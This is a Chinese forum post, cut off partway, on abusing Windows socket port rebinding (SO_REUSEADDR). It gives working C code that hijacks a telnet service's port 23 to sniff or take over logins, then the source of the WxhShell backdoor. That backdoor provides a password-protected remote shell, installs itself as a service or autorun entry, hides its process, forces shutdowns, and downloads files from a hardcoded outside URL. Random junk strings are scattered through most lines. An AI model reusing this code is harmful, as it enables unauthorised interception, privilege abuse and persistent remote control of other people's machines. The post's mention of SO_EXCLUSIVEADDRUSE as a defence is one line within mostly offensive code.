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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5\|u] ~b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U*7Yi-"/*  
`OWw<6`k  
  saddr.sin_family = AF_INET; _]~= Kjp  
;mYj`/Yj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c _faW  
"Ooc;xD3<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (aa}0r5  
AyUiX2=w1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g0 NSy3t  
[#hoW"'Q9  
  这意味着什么?意味着可以进行如下的攻击: ( @y te  
QY]G+3W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 95%, 8t  
bPHqZ*f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =TzmhX5  
rBY{&JhS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |KQkmc  
)^'g2gVK+p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z(=U ZI?  
t@1 bu$y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nC> 'kgRt  
#lHA<jI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L1i:hgq0]  
_~_E(rTn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `[*nUdG  
Yo$ xz  
  #include fqcFfz6?x  
  #include ]sf1+3  
  #include aHvsgp]  
  #include    3.^Tm+ C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ' 3MCb  
  int main() B}YpIb]d  
  { ozr82  
  WORD wVersionRequested;  T.{sO`  
  DWORD ret; u^!c:RfE?  
  WSADATA wsaData; 861!p%y5  
  BOOL val; _:Jra  
  SOCKADDR_IN saddr; ^`&?"yj<z  
  SOCKADDR_IN scaddr; Cm5:_K`;]  
  int err; R^*h|7)E  
  SOCKET s; Z1t?+v+Ro*  
  SOCKET sc; dY'mY~Tv  
  int caddsize; vS$_H<;P  
  HANDLE mt; Mx<? c  
  DWORD tid;   KS6H`Mm}/  
  wVersionRequested = MAKEWORD( 2, 2 ); UD@u hL  
  err = WSAStartup( wVersionRequested, &wsaData ); c+^#(OB  
  if ( err != 0 ) { _CDl9pP36#  
  printf("error!WSAStartup failed!\n"); @Pt,N qj:  
  return -1; =oPc\VYW  
  } IV5B5Q'D  
  saddr.sin_family = AF_INET; jbU=D:|  
   >P/Nb]C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1 ynjDin<  
T1&^IO-F7$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Wl,T5}{  
  saddr.sin_port = htons(23); ]$VYzE2e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *Ou)P9~-L  
  { U(jZf{`Mz  
  printf("error!socket failed!\n"); \~:Uj~  
  return -1; > (.V(]{3y  
  } EGKj1_ml  
  val = TRUE; @@O=a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MzY~-74aF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .-Xp]>f,  
  { 'K9{xI@N  
  printf("error!setsockopt failed!\n"); 69o,T`B  
  return -1; ~baVS-v  
  } mimJ_=]DC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0xe!tA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tL;!!vg#V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LXm5f;  
d\R]>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fW,,@2P  
  { b& l/)DU  
  ret=GetLastError(); &%ZiI@O-  
  printf("error!bind failed!\n"); *XCid_{(  
  return -1; ,bQbj7  
  } h5:>o  
  listen(s,2); m\}8N u  
  while(1) EP|OKXRltA  
  { jBTXs5q  
  caddsize = sizeof(scaddr); 5yHarC  
  //接受连接请求 >brf7h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ev R6^n/  
  if(sc!=INVALID_SOCKET) @"\j]ZEnY  
  { Bj ~bsT@a.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uP:Y[$O  
  if(mt==NULL) <#hltPyh  
  { kbxy^4"X  
  printf("Thread Creat Failed!\n"); @LzqQ [  
  break; ,.cNs5 [t  
  } WP@IV;i  
  } t#Q" ;e  
  CloseHandle(mt); .!kO2/:6  
  } } +@H&}u  
  closesocket(s); [`_ZlC  
  WSACleanup(); JMUk=p<\  
  return 0; B4<W%lm  
  }   '>}dqp{Wr  
  DWORD WINAPI ClientThread(LPVOID lpParam) $8{|25 *E  
  { QEavbh^S  
  SOCKET ss = (SOCKET)lpParam; @-~ )M_  
  SOCKET sc; Q UQ"2oC  
  unsigned char buf[4096]; m5G9 B-\?  
  SOCKADDR_IN saddr; 4TBK:Vm5  
  long num; {G+pI2^  
  DWORD val; O%g%*9  
  DWORD ret; X/ \5j   
  //如果是隐藏端口应用的话,可以在此处加一些判断 g `)5g5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lE8M.ho\  
  saddr.sin_family = AF_INET; 0{8^)apII  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AF=9KWqf  
  saddr.sin_port = htons(23); 3N'fHy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2f%G`4/p  
  { 6%p$C oR  
  printf("error!socket failed!\n"); ^&AhW m7\  
  return -1; FAS+*G Fz  
  } =9lrPQ]w  
  val = 100; ^k'?e"[gTs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]<pnHh+2A  
  { 6a+w/IO3OU  
  ret = GetLastError(); =*icCng  
  return -1; fI/?2ZH  
  } Y\.d s%G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _e ]jz2j  
  { _86#$|kw  
  ret = GetLastError(); Q Eh_2  
  return -1; Y4\BHFq  
  } W;Rx(o>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =5UT'3p>  
  { )wmG&"qsP  
  printf("error!socket connect failed!\n"); Lv`*+;1 K  
  closesocket(sc); B]`!L/  
  closesocket(ss); CDy *8<-&  
  return -1; /D]V3|@E  
  } X"hoDg  
  while(1) JYY:~2  
  { d$3;o&VUNI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wIrjWU2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vr1Wr%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y: ~A-_  
  num = recv(ss,buf,4096,0); l1_Tr2A}7/  
  if(num>0) UN~dzA~V  
  send(sc,buf,num,0); +>em !~3  
  else if(num==0) hnQDm$k  
  break; i/&?e+i  
  num = recv(sc,buf,4096,0); >|)ia5#  
  if(num>0) K/2k/\Jk[_  
  send(ss,buf,num,0); d6$,iw@>^  
  else if(num==0) 14[+PoF^A  
  break; M~0A-*N  
  } }@6/sg  
  closesocket(ss); 2(-J9y|  
  closesocket(sc); ?P+n0S!  
  return 0 ; z/JoU je  
  } ArFsr  
Kk}|[\fW  
m3apeIEi[  
========================================================== h\oAW?^  
u,zA^%   
下边附上一个代码,,WXhSHELL x>>#<hOz[  
'IorjR@ 40  
========================================================== FS3MR9  
W\'njN  
#include "stdafx.h" X{n7)kgL  
DcNQ2Zz?%  
#include <stdio.h> c+6/@y  
#include <string.h> WjyuaAWY  
#include <windows.h> E%eTjvvxus  
#include <winsock2.h> dQ6n[$Q@N  
#include <winsvc.h> m;=wQYFr{I  
#include <urlmon.h> Q*S|SH-cZ0  
xiu?BP?V  
#pragma comment (lib, "Ws2_32.lib") bIFKP  
#pragma comment (lib, "urlmon.lib") jV(\]g"/=  
>&@hm4  
#define MAX_USER   100 // 最大客户端连接数 `1cGb*b/  
#define BUF_SOCK   200 // sock buffer z (N3oBW  
#define KEY_BUFF   255 // 输入 buffer QT1(= wK3  
ugtzF  
#define REBOOT     0   // 重启 }Yi)r*LI3  
#define SHUTDOWN   1   // 关机 dmq<vVxC  
wq|~[+y  
#define DEF_PORT   5000 // 监听端口 RL|13CG OP  
p!+7F\  
#define REG_LEN     16   // 注册表键长度 S?X2MX  
#define SVC_LEN     80   // NT服务名长度 dQoZh E  
Uoskfm  
// 从dll定义API D;f[7Cac  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \hjGw,d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 16iymiLz&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Gv*iWg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _(CuuP$`I  
%X)i-^T  
// wxhshell配置信息 i[:S *`@S  
struct WSCFG { 2v!ucd}  
  int ws_port;         // 监听端口 *WSH-*0  
  char ws_passstr[REG_LEN]; // 口令 4=j,:q  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fq{Z-yVp  
  char ws_regname[REG_LEN]; // 注册表键名 )V!9/d  
  char ws_svcname[REG_LEN]; // 服务名  #RE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V#j|_N1hm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gj[+{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MA:2]l3e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4_CV.?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /UJ@e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 87/!u]q  
9n$0OH /q  
}; '64&'.{#>r  
so* lV  
// default Wxhshell configuration GZL{~7n  
struct WSCFG wscfg={DEF_PORT, J`6X6YZ  
    "xuhuanlingzhe", |{#=#3X  
    1, ?e? mg  
    "Wxhshell", Hx}K w S  
    "Wxhshell", -qki^!Y?  
            "WxhShell Service", |E\0Rv{H3  
    "Wrsky Windows CmdShell Service", aZ$$a+  
    "Please Input Your Password: ", 3pxm0|  
  1, sZ,MNF8i  
  "http://www.wrsky.com/wxhshell.exe", _n.2'  
  "Wxhshell.exe" LPjsR=xi  
    }; DVu_KT[Hd  
+O< 0q"E  
// 消息定义模块 !B=Oc!e=K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;WQ@dC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "J0,SFu:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ; Q-f6)+&  
char *msg_ws_ext="\n\rExit."; fIrl?X']  
char *msg_ws_end="\n\rQuit."; aBPaC=g{HO  
char *msg_ws_boot="\n\rReboot..."; yOn +Y  
char *msg_ws_poff="\n\rShutdown...";  `O-LM e  
char *msg_ws_down="\n\rSave to "; F{1;~Yg%  
 P]bq9!{1  
char *msg_ws_err="\n\rErr!"; V\ ud4  
char *msg_ws_ok="\n\rOK!"; O[p;IG`  
Evz;eobW/  
char ExeFile[MAX_PATH]; JHY0 J &4s  
int nUser = 0; E$z)$`"1  
HANDLE handles[MAX_USER]; 0> pOP  
int OsIsNt; B,sv! p+q5  
5xZ*U  
SERVICE_STATUS       serviceStatus; u$%>/cv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FzOr#(^  
cD-.thHO  
// 函数声明 A>"v1Wk  
int Install(void); 4(aDi;x"w  
int Uninstall(void); zE{@'  
int DownloadFile(char *sURL, SOCKET wsh); ;T0Y= yC  
int Boot(int flag); c#q OK  
void HideProc(void); |aiP7C  
int GetOsVer(void); %IS'R`;3  
int Wxhshell(SOCKET wsl); ALw5M'6q0\  
void TalkWithClient(void *cs); ={9G.%W  
int CmdShell(SOCKET sock); [\o+I:,}wi  
int StartFromService(void); 1v TncU!  
int StartWxhshell(LPSTR lpCmdLine); uN`{; Av  
`{g8A P3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^}XKhn.S'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Gq'r2V  
CIt>D'/YT  
// 数据结构和表定义 Rd5ni2-nve  
SERVICE_TABLE_ENTRY DispatchTable[] = NI eKS_ +  
{ +):t6oX|  
{wscfg.ws_svcname, NTServiceMain}, a :jRQ-F)  
{NULL, NULL} iSTr;>A  
}; e^g3J/aU  
Si<9O h  
// 自我安装 )hH9VGZq(  
int Install(void) W~GbB:-  
{ ;!4Bw"Gg  
  char svExeFile[MAX_PATH]; } d / 5_X  
  HKEY key; ^/ K\a ,  
  strcpy(svExeFile,ExeFile); i/rdPbq  
[@ ]f@Wd  
// 如果是win9x系统,修改注册表设为自启动 NiU}A$U  
if(!OsIsNt) { .O [RE_j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hWK}] gF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4!Ez#\  
  RegCloseKey(key); kBY54pl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _//)|.6c3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $AAv%v  
  RegCloseKey(key); tE0DST/  
  return 0; .BGM1ph}~  
    } v*%#Fp,g8  
  } QRnkj]b  
} jsS xjf;O  
else { :ho)3kB  
3kFOs$3  
// 如果是NT以上系统,安装为系统服务 !|`G<WD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P  F!S  
if (schSCManager!=0) }LS:f,1oGp  
{ ]!J 6S.@#+  
  SC_HANDLE schService = CreateService Ghgx8 ]e  
  ( 4C^;lK  
  schSCManager, JicAz1P1W  
  wscfg.ws_svcname, <}b`2/wP  
  wscfg.ws_svcdisp, )/H=m7}1h  
  SERVICE_ALL_ACCESS, ryzz!0l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9I8{2]  
  SERVICE_AUTO_START, D3V5GQ\=  
  SERVICE_ERROR_NORMAL, <v;;:RB6c  
  svExeFile, (OT /o&cQ  
  NULL, 43pQFDWa  
  NULL, >TUs~  
  NULL, <A&mc,kj  
  NULL, I_@\O!<y}  
  NULL <}-[9fW  
  ); ~vnG^y>%  
  if (schService!=0) O(;K ]8  
  { t3K7W2bz  
  CloseServiceHandle(schService); {J q[N}  
  CloseServiceHandle(schSCManager); ([zt}uf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U'zW; Lt  
  strcat(svExeFile,wscfg.ws_svcname); Z<ozANbk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pk[:+. f(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KE:PRX  
  RegCloseKey(key); w#eD5y~'oo  
  return 0; B" TZ8(<  
    } /2-S/,a  
  } ~\`lbGJ7?  
  CloseServiceHandle(schSCManager); Qj~m;F!  
} MB :knj  
} ;T~]|#T\6  
{~>?%]tf  
return 1; ^D\1F$AjC  
} L<!}!v5ja  
EZaWEW  
// 自我卸载 Xu`c_  
int Uninstall(void) 9K~2!<  
{ aYr?J Ol  
  HKEY key; | 2BIAm]  
"Wr5:T-;  
if(!OsIsNt) { *T j(IN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxy_O0n  
  RegDeleteValue(key,wscfg.ws_regname); jW*|Mu>2  
  RegCloseKey(key); y:(OZ%g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ES!$JWK|  
  RegDeleteValue(key,wscfg.ws_regname); 3TqC.S5+  
  RegCloseKey(key); x@I*(I  
  return 0; jZeY^T)f"  
  } ~4h<nc  
} K,e"@G  
} G%w.Z< qy  
else { =; Gw=m(  
:8aa#bA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Km!#:  
if (schSCManager!=0) 01N "  
{ ,#[0As29u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r(xh5{^x  
  if (schService!=0) "a))TV%N  
  { z(2pl}  
  if(DeleteService(schService)!=0) { B*btt+6  
  CloseServiceHandle(schService); yQE|FbiA  
  CloseServiceHandle(schSCManager); vN:gu\^-   
  return 0; q`z/ S>  
  } F8M&.TE_3  
  CloseServiceHandle(schService); n2&*5m&$  
  } i^Vb42%y  
  CloseServiceHandle(schSCManager); 6yk=4l\  
} 1O@ qpNm  
} 2g5i3C.q$  
)3 #gpM  
return 1; }U3+xl6g  
} Oxs O  
Q^X  
// 从指定url下载文件 _R&mN\ey5  
int DownloadFile(char *sURL, SOCKET wsh) MuXp*s3[  
{ }5c%v1  
  HRESULT hr; @_s`@ ,=  
char seps[]= "/"; u3 k%  
char *token; j8n_:;i*  
char *file; &_Kb;UVRj  
char myURL[MAX_PATH]; Y~\71QE>  
char myFILE[MAX_PATH]; K~'!JP8@  
2N*XzVplN  
strcpy(myURL,sURL); ^mxOQc !  
  token=strtok(myURL,seps); pF kA,  
  while(token!=NULL) iUSP+iC,  
  { D.d(D:  
    file=token; fkf69,+"]  
  token=strtok(NULL,seps); {!!df.h  
  } 1o"/5T:S[  
S(NH# ^  
GetCurrentDirectory(MAX_PATH,myFILE); ]0v;;PfVl6  
strcat(myFILE, "\\"); 'a.n  
strcat(myFILE, file); N(i%Oxp1  
  send(wsh,myFILE,strlen(myFILE),0); PWeCk2xH  
send(wsh,"...",3,0); t Gt/=~n9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (NfP2E|B  
  if(hr==S_OK) /`(Kbwh   
return 0; PPoQNW  
else CTawXHM  
return 1; 8VG6~>ux'>  
]0N'Wtbn  
} =&+]>g{T  
k(hYNmmo j  
// 系统电源模块 m(0sG(A~  
int Boot(int flag) u.v 5!G  
{ 6cR}Mm9Hx3  
  HANDLE hToken; GJZGHUB=>  
  TOKEN_PRIVILEGES tkp; w2*.3I,~)B  
$ti*I;)h4  
  if(OsIsNt) {  )ph**g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6P,vGmR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lMkDLobos  
    tkp.PrivilegeCount = 1; V|6PKED  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BR&T,x/d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &6]+a4  
if(flag==REBOOT) { TUE*mDRmP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %v}SJEXF p  
  return 0; k+-IuO  
} HCBZ*Z-  
else { 'iQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /zt9;^e  
  return 0; m7<HK,d  
} WP(+jL^-  
  } Q?"o.T';  
  else { W&M=%  
if(flag==REBOOT) { ,m4M39MWJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +IS+!K0?)  
  return 0; kg,t[Jl  
} @|I:A  
else { n oWjZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7JC^+ rk  
  return 0; QuF76&)7  
} ceiUpWMu,  
} XOOWrK7O  
|X}H&wBWo  
return 1; f/1soGA  
} 0QzUcr)3+  
@B.;V=8wJ  
// win9x进程隐藏模块 bxxazsj^  
void HideProc(void) g>k"R4  
{ t1LIZ5JY  
:S['hBMN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +jpaBr-O#  
  if ( hKernel != NULL ) 'A^;P]y  
  { 72i ]`   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0LX"<~3j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #9R[%R7Nz  
    FreeLibrary(hKernel); Vki'pAN  
  } t=-t xnlr<  
KOQiX?'  
return; B/:+(|  
} B~%'YQk  
jwP}{mi*  
// 获取操作系统版本 trl:\m  
int GetOsVer(void) \IL;}D{  
{ Sio> QL Y  
  OSVERSIONINFO winfo; SH oov  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V XE85  
  GetVersionEx(&winfo); p3m!Iota  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s!lLdR[g  
  return 1; PpxLMe]  
  else d65fkz==A)  
  return 0; Z$UPLg3=;_  
} *\-R&8  
5hhiP2q  
// 客户端句柄模块 Vxr_2Kra  
int Wxhshell(SOCKET wsl) gY],U4_:p  
{ jY~W*  
  SOCKET wsh; r>>4)<C7J  
  struct sockaddr_in client; #!A'6SgbkM  
  DWORD myID; 1v<,nABuJ6  
sIVVF#0}]  
  while(nUser<MAX_USER) |b BA0.yS  
{  #  
  int nSize=sizeof(client); ]+U:8*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b]-~{' +  
  if(wsh==INVALID_SOCKET) return 1; xSf&*wLE  
X0QY:?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $uPM.mPFE  
if(handles[nUser]==0) pBZf=!+E  
  closesocket(wsh); '7Ad:em  
else S= NGJ 0  
  nUser++; v$WH#;(\  
  } >5O#_?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yLC5S3^1\"  
gv6}GE  
  return 0; )s#NQ.T[  
} *mvDh9v  
?(t{VdZSzQ  
// 关闭 socket k=nN#SMn  
void CloseIt(SOCKET wsh) z1K}] z%  
{ NcuZw?  
closesocket(wsh); )=k8W9i8b  
nUser--; )335X wA+  
ExitThread(0); p aQ"[w  
} !,SGKLs.m  
*X_-8 ^~  
// 客户端请求句柄 EgYM][:UU  
void TalkWithClient(void *cs) "X[sW%# F  
{ ym]12PAU5  
i[+cNJ|$B0  
  SOCKET wsh=(SOCKET)cs; FX->_}kL=  
  char pwd[SVC_LEN]; :rdw0EROy  
  char cmd[KEY_BUFF]; !vrdu OB  
char chr[1]; 96VJE,^h  
int i,j; 8E/wUN,Lxj  
9 rMP"td  
  while (nUser < MAX_USER) { LH@xr\^  
ZH1W#dt`[  
if(wscfg.ws_passstr) { >u-6,[(5X*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QE#Ar8tU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G1!yPQa7d  
  //ZeroMemory(pwd,KEY_BUFF); 8V08>M  
      i=0; z{>p<)h  
  while(i<SVC_LEN) { %k"qpu  
sOf;I]E|  
  // 设置超时 @)IHd6 R  
  fd_set FdRead; #s}cK  
  struct timeval TimeOut; &A1~x!`  
  FD_ZERO(&FdRead); hoDE*>i  
  FD_SET(wsh,&FdRead); {9,!XiF.:  
  TimeOut.tv_sec=8; 0DZ}8"2  
  TimeOut.tv_usec=0; MS=zG53y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3j h: K   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lQq&tz,  
k^%Kw(/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zxo" +j4Ym  
  pwd=chr[0]; 1Z$` }a  
  if(chr[0]==0xd || chr[0]==0xa) { oPbxe  
  pwd=0; %x]8^vze  
  break; "R!) "B==  
  } Mx]![O.ye  
  i++; 8NUVHcB6  
    } ?R MOy$L  
CI}zu;4|  
  // 如果是非法用户,关闭 socket G9YfJ?I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YWK|AT-4  
} jMAZ4M  
yPmo@aw]1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cU[^[;4J<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x Ilo@W6  
N}/|B}  
while(1) { Y+kfMAv  
*?o`90HHP[  
  ZeroMemory(cmd,KEY_BUFF); "dItv#<:}  
K!cLEG!G  
      // 自动支持客户端 telnet标准   2K~<_.S  
  j=0; ->rr4xaKC  
  while(j<KEY_BUFF) { fK?/o]vq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *i)3q+%.  
  cmd[j]=chr[0]; %RS~>pK1  
  if(chr[0]==0xa || chr[0]==0xd) { YR? ujN  
  cmd[j]=0; F3Y/Miw  
  break; n{1;BW#H  
  } Z6S?xfhr'{  
  j++; ~TvKMW6/#  
    } )zK6>-KWA  
pFW^   
  // 下载文件 CwL8-z0 Jn  
  if(strstr(cmd,"http://")) { dW4FMm>|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NE1n9  
  if(DownloadFile(cmd,wsh)) #JD:i%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [WXa]d5Y  
  else !^FR a{b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i .GJO +K  
  } :5DL&,,Q3  
  else { <{Pr(U*7}  
N0POyd/rL  
    switch(cmd[0]) { ,jc')#]9B  
  >DSD1i+N  
  // 帮助 )a=58r07  
  case '?': { L8WYxJ k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z,+LPr  
    break; J4l \  
  } 'lIj89h<E  
  // 安装 9:v0gE+.  
  case 'i': { v\}s(X(J  
    if(Install()) X?gH(mn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RO!em~{D*  
    else \|f3\4;!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vvwQ/iJO4Q  
    break; O}Mu_edM  
    } 7mT iO?/y<  
  // 卸载 NQu .%=  
  case 'r': { bSvr8FY3d  
    if(Uninstall()) aJ3.D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,J^tN@^  
    else |1/UC"f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g=)OcTd#  
    break; ;QS(`SK l  
    } U'oFW@Y;h  
  // 显示 wxhshell 所在路径 ~bnyk%S o  
  case 'p': { >X58 zlxk  
    char svExeFile[MAX_PATH]; d$}!x[g$Z  
    strcpy(svExeFile,"\n\r"); =#so[Pd  
      strcat(svExeFile,ExeFile); 7 /7,55  
        send(wsh,svExeFile,strlen(svExeFile),0); F~Sw-b kSf  
    break; J-U5_>S  
    } K*sav?c  
  // 重启 !3;KC"o  
  case 'b': { ]*v [6 +  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s,|"s|P  
    if(Boot(REBOOT)) DOB#PI [/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (`)ZR %i  
    else { $_Kcm"oj  
    closesocket(wsh); M$$Lsb [  
    ExitThread(0); UpFm3gKF  
    } =~P)7D6  
    break; m4_ZGjmJM  
    } $i9</Es P  
  // 关机 g/(3D  
  case 'd': { bB+ 4  
